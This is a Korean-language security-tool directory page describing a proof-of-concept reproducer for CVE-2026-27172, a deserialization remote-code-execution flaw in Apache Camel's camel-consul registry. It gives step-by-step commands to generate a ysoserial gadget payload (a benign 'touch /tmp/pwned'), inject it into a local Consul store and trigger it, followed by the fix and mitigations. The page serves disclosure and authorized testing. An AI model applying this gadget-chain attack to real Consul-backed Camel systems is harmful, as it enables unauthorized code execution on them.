Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-27172 — CVE-2026-27172 재현기: Apache Camel camel-consul ConsulRegistry Java 역직렬화 (RCE) | Kitploit
도구/GitHubGitHub/oscerd/cve-2026-27172
Vulnerability AnalysisExploitationPenetration TestingLearning & EducationPayload DevelopmentBinary Exploitation
GitHuboscerd/cve-2026-27172

CVE-2026-27172

CVE-2026-27172 재현기: Apache Camel camel-consul ConsulRegistry Java 역직렬화 (RCE)

저장소 보기
1개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

camel-consul ConsulRegistry 역직렬화 취약점 재현기 (CVE-2026-27172)

이 프로젝트는 Apache Camel의 camel-consul 컴포넌트(ConsulRegistry)에서 발견된 Java 역직렬화 취약점인 CVE-2026-27172를 재현합니다. 이는 CVE-2024-22369, CVE-2024-23114, CVE-2026-25747과 동일한 유형의 문제로, 해당 CVE들의 초기 수정 과정에서 간과되었습니다.

보안 권고: https://camel.apache.org/security/CVE-2026-27172.html

취약점 요약

속성값
컴포넌트camel-consul
영향받는 클래스org.apache.camel.component.consul.ConsulRegistry (ConsulRegistryUtils.deserialize)
취약한 메서드lookupByName(), lookupByNameAndType(), findByTypeWithName(), findByType()
CWECWE-502: 신뢰할 수 없는 데이터의 역직렬화
영향원격 코드 실행 (RCE)
영향받는 버전3.0.0부터 4.14.6 이전, 4.15.0부터 4.18.1 이전
수정된 버전4.14.6, 4.18.1, 4.19.0
JIRACAMEL-23029

기술적 세부 사항

ConsulRegistry는 Consul 키/값 저장소를 Camel 레지스트리로 사용합니다. 이름으로 빈(bean)을 조회하면 저장된 값이 Base64로 디코딩된 후 원시 ObjectInputStream으로 역직렬화되며, 영향받는 버전에서는 ObjectInputFilter가 적용되지 않습니다:

root@kitploit:~
// ConsulRegistry.lookupByName(...)
public Object lookupByName(String key) {
    kvClient = consul.keyValueClient();
    return kvClient.getValueAsString(key).map(result -> {
        byte[] postDecodedValue = ConsulRegistryUtils.decodeBase64(result);
        return ConsulRegistryUtils.deserialize(postDecodedValue);   // no filter (affected)
    }).orElse(null);
}

// ConsulRegistryUtils.deserialize(...) - affected version
static Object deserialize(byte[] bytes) {
    try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
        return in.readObject();   // NO FILTERING!
    }
}

Consul KV 저장소에서 Camel이 나중에 조회하는 키 아래에 저장된 모든 객체는 역직렬화됩니다. 해당 KV 경로에 쓰기 권한이 있는 공격자는 레지스트리 조회 시 실행되는 가젯 체인 페이로드를 심을 수 있습니다.

사전 요구 사항

  • Java 17+
  • Maven 3.8+
  • 실행 중인 Consul 에이전트(KV 저장소) — 예: Docker 사용
  • ysoserial (페이로드 생성용)

재현 단계

1단계: Consul 시작

root@kitploit:~
docker run -d --name consul -p 8500:8500 hashicorp/consul:1.17 agent -dev -client 0.0.0.0

2단계: 애플리케이션 빌드 및 시작

root@kitploit:~
mvn clean package -DskipTests
mvn spring-boot:run

3단계: 레지스트리 키 초기화

root@kitploit:~
curl http://localhost:8080/exploit/init

4단계: 악성 페이로드 생성

root@kitploit:~
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# Linux (benign proof: create a file). Use "open -a Calculator" on macOS, "calc.exe" on Windows.
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64

ConsulRegistry는 Base64로 인코딩된 직렬화 객체를 저장하므로, 페이로드는 Base64로 전달됩니다.

5단계: 페이로드를 Consul KV에 주입

root@kitploit:~
curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" \
  --data-binary @payload.b64

6단계: 역직렬화 트리거 (RCE!)

root@kitploit:~
curl http://localhost:8080/exploit/trigger

lookupByName()은 KV 값을 읽어 Base64로 디코딩한 후 역직렬화하며, 이때 가젯 체인이 실행됩니다.

7단계: 익스플로잇 확인

root@kitploit:~
ls -la /tmp/pwned

/tmp/pwned 파일이 존재하면 익스플로잇이 성공한 것입니다.

공격 벡터

레지스트리가 빈을 해석할 때마다 취약점이 트리거됩니다:

  1. 빈 참조 — .to("bean:..."), bean(...), .process("...") 이름 기반 호출은 모두 lookupByName()을 호출합니다.
  2. 시작 시 해석 — 라우트를 빌드하는 동안 해석되는 빈들.
  3. 타입 조회 — findByType() / lookupByNameAndType()이 KV 항목을 순회하며 역직렬화합니다.

익스플로잇 조건

  1. 레지스트리를 백업하는 Consul KV 저장소에 대한 쓰기 권한:
    • 공유되거나 잘못 구성된 Consul 클러스터
    • 손상되었거나 과도한 범위의 Consul ACL 토큰
    • KV 쓰기 프리미티브를 제공하는 또 다른 취약점
  2. 클래스패스에 존재하는 가젯 라이브러리:
    • commons-collections:3.2.1 (CommonsCollections1-7 가젯)
    • 기타 다수 (ysoserial 참조)

관련 CVE들과의 비교

권장 수정 사항

수정(CAMEL-23029)은 ConsulRegistryUtils.deserialize에 구성 가능한 ObjectInputFilter(기본값 java.**;org.apache.camel.**;!*)를 추가하고, 신뢰할 수 있는 클래스를 허용 목록에 추가할 수 있도록 deserializationFilter 옵션을 노출합니다:

root@kitploit:~
static Object deserialize(byte[] bytes, String deserializationFilter) {
    try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
        if (deserializationFilter != null) {
            in.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
        }
        return in.readObject();
    }
}

완화 조치

수정된 버전으로 업그레이드할 때까지:

  1. Consul KV 쓰기 액세스를 Camel 애플리케이션 자체 ID로 제한 (최소 권한 ACL 토큰).
  2. 가젯 라이브러리 제거: commons-collections 3.x와 같은 취약한 라이브러리를 업그레이드하거나 제거합니다.
  3. 네트워크 분리: Consul 클러스터를 신뢰할 수 있는 네트워크로 격리합니다.

파일 구조

root@kitploit:~
CVE-2026-27172/
├── pom.xml                          # Maven configuration (affected camel-consul version)
├── README.md                        # This file
└── src/main/
    ├── java/com/example/
    │   ├── Application.java          # Spring Boot entry point
    │   ├── ConsulRegistryRoute.java  # Camel route (disabled; shows real usage)
    │   └── ExploitController.java    # REST endpoints for the PoC
    └── resources/
        └── application.properties

면책 조항

이 재현기는 공개되었고 수정된 취약점에 대한 보안 연구 및 허가된 테스트 전용으로 제공됩니다. 명시적 허가 없이 시스템에 사용하지 마십시오.

도구 다운로드
측면Cassandra (CVE-2024-23114)LevelDB (CVE-2026-25747)Consul (CVE-2026-27172)
백업 저장소Cassandra 테이블LevelDB 파일Consul KV 저장소
ObjectInputFilter (수정 전)없음없음없음
수정 방법ObjectInputFilter 허용 목록ObjectInputFilter 허용 목록ObjectInputFilter 허용 목록
JIRACAMEL-20306CAMEL-22821CAMEL-23029